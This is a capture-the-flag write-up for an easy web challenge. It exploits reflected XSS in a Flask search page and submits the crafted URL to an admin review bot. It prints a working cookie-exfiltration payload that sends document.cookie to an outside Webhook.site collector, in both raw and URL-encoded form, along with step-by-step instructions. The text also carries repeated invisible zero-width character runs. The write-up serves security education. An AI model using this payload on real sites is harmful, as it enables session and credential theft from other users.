← Back to Writeups
CUSTOMEasyWeb
Bookmark

The customer is always right

XESXOR9/10/20263 min read
#web#custom#easy#refleredactedoitation#admin_bot_abuse#cookie_exfiltration

The customer is always right

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: refleREDACTEDoitation, admin_bot_abuse, cookie_exfiltration

Summary

Task: a Flask/Werkzeug publication page reflected the search parameter into HTML and exposed a same-origin report feature. Solution: inject JavaScript through reflected XSS, submit the crafted local URL to the admin bot, and exfiltrate the flag from document.cookie to Webhook.site.

The customer is always right — Hackerlab

Description

The customer is always right

English summary: The target was a Flask/Werkzeug web application with a publication search page and a report mechanism. The goal was to find a client-side issue, make the admin review our payload, and recover the flag in CODEBY{...} format.

Recon

  • Target: http://62.173.140.174:16013/
  • Server fingerprint: Werkzeug/3.1.6 Python/3.9.18
  • The main page listed publications and exposed a search parameter.
  • When a query returned no results, the page rendered a message equivalent to По запросу <input> ничего не найдено. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

That behavior immediately suggested checking whether the search value was inserted into the page safely.

The application also accepted a report GET parameter. Supplying a same-origin URL returned the message:

Репорт отправлен. Админ скоро проверит данную публикацию.

This was the key hint that a review bot existed. In CTF web tasks, a feature that accepts a URL and promises that an admin will visit it usually means an admin-bot XSS scenario. The fact that only same-origin URLs were accepted strengthened that conclusion: the challenge was likely designed so we had to host the payload on the vulnerable application itself and let the bot load it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When a non-whitelisted or external URL was submitted, the server returned a custom 403 page with HACKER DETECTED, confirming that arbitrary external links were intentionally blocked.

Vulnerability Discovery

Testing the search parameter with a simple payload confirmed the issue:

 html 
<script>alert(1)</script>

Using ?search=<script>alert(1)</script> caused the payload to be reflected into the HTML without sanitization, which confirmed reflected XSS.

At that point, the application behavior matched a classic pattern: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. A reflected XSS sink exists in a same-origin page.
  2. A report function allows that page to be submitted for review.
  3. The admin bot visits the supplied internal URL.
  4. JavaScript runs in the admin context and can leak sensitive data.

Because the report endpoint blocked external URLs, the exploit had to be delivered as a vulnerable application URL containing the XSS payload in the query string.

Exploitation

To receive the exfiltrated data, a fresh Webhook.site token was created via:

 http 
POST https://webhook.site/token

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This returned the token:

 text 
d60b0923-fe5d-45a2-bc44-9f857b582037

The final payload was:

 html 
<script>new Image().src='https://webhook.site/d60b0923-fe5d-45a2-bc44-9f857b582037?c='+encodeURIComponent(document.cookie)+'&u='+encodeURIComponent(location.href)</script>

This payload uses a simple image request to send two useful values to the external collector:

  • document.cookie as c
  • location.href as u

The same-origin URL submitted to the report feature was:

 text 
http://62.173.140.174:16013/?search=%3Cscript%3Enew%20Image%28%29.src%3D%27https%3A%2F%2Fwebhook.site%2Fd60b0923-fe5d-45a2-bc44-9f857b582037%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%2B%27%26u%3D%27%2BencodeURIComponent%28location.href%29%3C%2Fscript%3E

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation steps

  1. Open the main page and identify that search is reflected into HTML.
  2. Verify XSS with ?search=<script>alert(1)</script>.
  3. Confirm that report= accepts same-origin URLs and triggers admin review.
  4. Prepare a Webhook.site listener.
  5. Replace the test payload with an exfiltration payload using new Image().src.
  6. URL-encode the payload and place it inside the vulnerable search parameter.
  7. Submit that same-origin URL through the report feature.
  8. Wait for the admin bot to visit the page.
  9. Read the leaked cookie from Webhook.site. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The webhook capture showed:

  • User-Agent: BugHTB/1.0
  • query.c: flag=CODEBY{REDACTED}
  • query.u: http://localhost:8000/?search=...

The localhost URL confirmed that the admin bot opened the vulnerable page from its own internal context, and the cookie value directly contained the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍